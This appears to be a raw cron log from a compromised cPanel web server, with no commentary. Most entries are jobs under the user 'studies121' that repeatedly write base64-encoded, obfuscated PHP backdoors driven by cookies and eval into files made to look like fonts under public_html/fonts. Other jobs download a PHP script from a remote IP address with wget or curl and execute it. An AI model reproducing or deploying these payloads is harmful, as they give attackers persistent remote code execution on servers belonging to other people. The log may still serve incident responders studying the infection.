Sep 12 20:14:01 ip-184-168-122-23 CROND[18864]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 20:14:01 ip-184-168-122-23 CROND[18865]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:15:01 ip-184-168-122-23 CROND[18971]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:15:01 ip-184-168-122-23 CROND[18970]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 20:15:02 ip-184-168-122-23 CROND[18973]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 12 20:15:02 ip-184-168-122-23 CROND[18974]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:15:02 ip-184-168-122-23 CROND[18980]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 20:15:02 ip-184-168-122-23 CROND[18981]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 20:15:02 ip-184-168-122-23 CROND[18984]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 20:16:01 ip-184-168-122-23 CROND[19070]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 20:16:01 ip-184-168-122-23 CROND[19072]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:16:01 ip-184-168-122-23 CROND[19073]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 20:16:01 ip-184-168-122-23 CROND[19074]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:16:01 ip-184-168-122-23 CROND[19075]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 20:16:01 ip-184-168-122-23 CROND[19076]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 20:17:01 ip-184-168-122-23 CROND[19192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:17:01 ip-184-168-122-23 CROND[19194]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 20:17:01 ip-184-168-122-23 CROND[19195]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:17:01 ip-184-168-122-23 CROND[19197]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 20:18:01 ip-184-168-122-23 CROND[19283]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 20:18:01 ip-184-168-122-23 CROND[19285]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 20:18:01 ip-184-168-122-23 CROND[19287]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:18:01 ip-184-168-122-23 CROND[19286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:18:01 ip-184-168-122-23 CROND[19288]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 20:19:02 ip-184-168-122-23 CROND[19461]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 20:19:02 ip-184-168-122-23 CROND[19463]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 20:19:02 ip-184-168-122-23 CROND[19464]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:19:02 ip-184-168-122-23 CROND[19465]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:20:01 ip-184-168-122-23 CROND[19572]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 20:20:01 ip-184-168-122-23 CROND[19574]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 20:20:01 ip-184-168-122-23 CROND[19576]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:20:01 ip-184-168-122-23 CROND[19579]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 20:20:01 ip-184-168-122-23 CROND[19578]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 20:20:01 ip-184-168-122-23 CROND[19586]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:20:01 ip-184-168-122-23 CROND[19584]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 20:20:01 ip-184-168-122-23 CROND[19587]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 20:20:01 ip-184-168-122-23 CROND[19583]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 20:21:01 ip-184-168-122-23 CROND[19700]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 20:21:01 ip-184-168-122-23 CROND[19699]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:21:01 ip-184-168-122-23 CROND[19701]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 20:21:01 ip-184-168-122-23 CROND[19702]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:22:01 ip-184-168-122-23 CROND[19813]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 20:22:01 ip-184-168-122-23 CROND[19815]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:22:01 ip-184-168-122-23 CROND[19814]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:22:01 ip-184-168-122-23 CROND[19817]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 20:22:01 ip-184-168-122-23 CROND[19818]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 20:23:01 ip-184-168-122-23 CROND[19927]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 20:23:01 ip-184-168-122-23 CROND[19928]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:23:01 ip-184-168-122-23 CROND[19931]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:23:01 ip-184-168-122-23 CROND[19932]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 20:24:01 ip-184-168-122-23 CROND[20094]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:24:01 ip-184-168-122-23 CROND[20095]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 20:24:01 ip-184-168-122-23 CROND[20097]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:24:01 ip-184-168-122-23 CROND[20099]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 20:24:01 ip-184-168-122-23 CROND[20101]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 20:25:01 ip-184-168-122-23 CROND[20208]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 20:25:01 ip-184-168-122-23 CROND[20210]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 20:25:01 ip-184-168-122-23 CROND[20211]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 20:25:01 ip-184-168-122-23 CROND[20212]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 20:25:01 ip-184-168-122-23 CROND[20215]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:25:01 ip-184-168-122-23 CROND[20213]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:25:01 ip-184-168-122-23 CROND[20216]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 12 20:25:01 ip-184-168-122-23 CROND[20212]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 20:25:01 ip-184-168-122-23 CROND[20215]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
